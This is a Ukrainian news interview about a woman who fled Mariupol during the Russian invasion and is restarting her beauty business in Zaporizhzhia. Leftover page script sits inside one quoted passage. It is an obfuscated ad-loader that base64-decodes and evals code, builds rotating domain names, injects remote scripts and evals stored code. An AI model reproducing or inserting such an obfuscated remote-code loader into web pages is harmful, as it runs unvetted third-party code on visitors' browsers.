Тетяна з родиною бачили жахи війни у Маріуполі, звідки їм довелося тікати через російське вторгення. Зараз у Запоріжжі вона розпочала нове життя і навіть відроджує власну справу у сфері краси.
Детальніше про історію Тетяни — у інтерв’ю «Акцента».
Згадки про Маріуполь
«Ми дивом зловили зв’язок, коли залізли на 9-поверхівку і дозвонилися до друга, щоб він нас вивіз з міста. Наша квартира знаходилася на проспекті Миру, це центр Маріуполя. Будинки горіли, літали снаряди, але нам треба було діставати їжу, воду» — почала розповідь жінка.
Електроенергії не було, Тетяна з родиною під обстрілами ходили до квартири, щоб взяти залишки придатної до вживання їжі у холодильнику.
«Це було дуже небезпечно. Кругом все горіло. Трупи лежали і під’їздах та на узбіччях. Це був просто жах» — згадує Тетяна.
Родина виховує хлопчика, якому немає й двох років. Жінка розповідає, що коли снаряд влучив у сусідній під’їзд і вигорів стояк, у квартирі була температура повітря на рівні +5 градусів. Через це у дитини почала розвиватися інфекція.
Тоді було вирішено рятуватися і відправити дітей та родичів до краще облаштованого бомбосховища. На календарі — 19 березня.
«Там ми змогли підзарядити телефон та дозвонитися з даху до друга, який ризикуючи життям на власному транспорті приїхав… У нього не було бензина, але він попросив у друга злити паливо з генератора. Нас, дівчат, і маленьку дитинку, він вивіз з Маріуполя у село Білосарайська коса, що поряд з містом» — розповідає Тетяна
У селі було світло, вода та зв’язок. Вдалося навіть отримати поповнити запаси їжі, які на той час майже закінчилися.
«Тут ми пробули два тижні. У Маріуполь не пропускали, але потім, коли дозволили, ми поїхали подивитися на власну машину, яка стояла у гаражі. На щастя, гараж уцілів. Ми сіли в машину і поїхали… до Запоріжжя, ну а куди?»
Дорога до Запоріжжя
Дорогою довелося заночувати у Бердянську. Шлях був дуже небезпечний і тривав 12 годин. Тетяні та родині довелося бачити жорстокість окупантів.
«Стріляли, через нас снаряди літали… Біля нас автоматник стріляв, бо люди виходили з авто, щоб покурити, і хтось зайшов на цю «зелену» полосу. Він прибіг і кричав: «Всі по машинах!», і почав стріляти прямо біля нас» var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Речі перевіряли окупанти дуже ретельно, але у Тетяни та родини нічого не було, окрім дитячих іграшок, одягу та харчів.
«У Запоріжжі нас дуже гарно зустріли. Ми приїхали на «Епіцентр». Нас нагодували там. Сказали, куди їхати далі» — розповідає жінка.
Життя у Запоріжжі
Тетяні пощастило, у Запоріжжі у неї є знайомі. Родина арендувала квартиру, де наразі й проживає. Але жінка зазначає, що спочатку планували їхати далі.
«Але куди далі? Стріляють всюди. Хочеться додому повернутись. Хоч його й нема, але це місце — де я народилася, де пройшло моє життя… Де все для мене знайоме, де є мої друзі» — говорить Тетяна.
У Маріуполі жінка мала власне підприємство в індустрії краси. Вона перукар, а за першою освітою — швея. Вдома її інструменти згоріли, тому у Запоріжжі жінка фактично відроджує справу з нуля.
«Через оголошення я познайомилась з дівчиною, яка теж з Маріуполя. Вона пошила фартук, який я змоделювала. Вона і познайомила мене з власником спорткомплексу «Хорт», і він мені запропонував роботу» — розповідає жінка.
Так співпало, що Тетяна тепер працює у будівлі, де облаштовано хостел і живуть інші переселенці з різних міст тимчасово окупованої території України. Після нашого інтерв’ю Тетяна як раз обслуговувала свою землячку, яка теж втекла від війни до Запоріжжя.
Нас Тетяна попрохала повідомити читачів, що набирає людей у команду: майстрів з манікюру, масажу, нарощування вій, косметологів. Умова — робота у Дніпровському районі. Контакт Тетяни: 0679022132.
На останок жінка додала, що вірить у перемогу України. «Треба працювати, не плакати, а жити далі» — сказала вона.
Підготував Ігорь Гур’єв
Підписуйтесь на Акцент в 
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/tetyana-z-mariupolya-rozpochala-nove-zhittya-u-zaporizhzhi-yiyi-istoriya-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
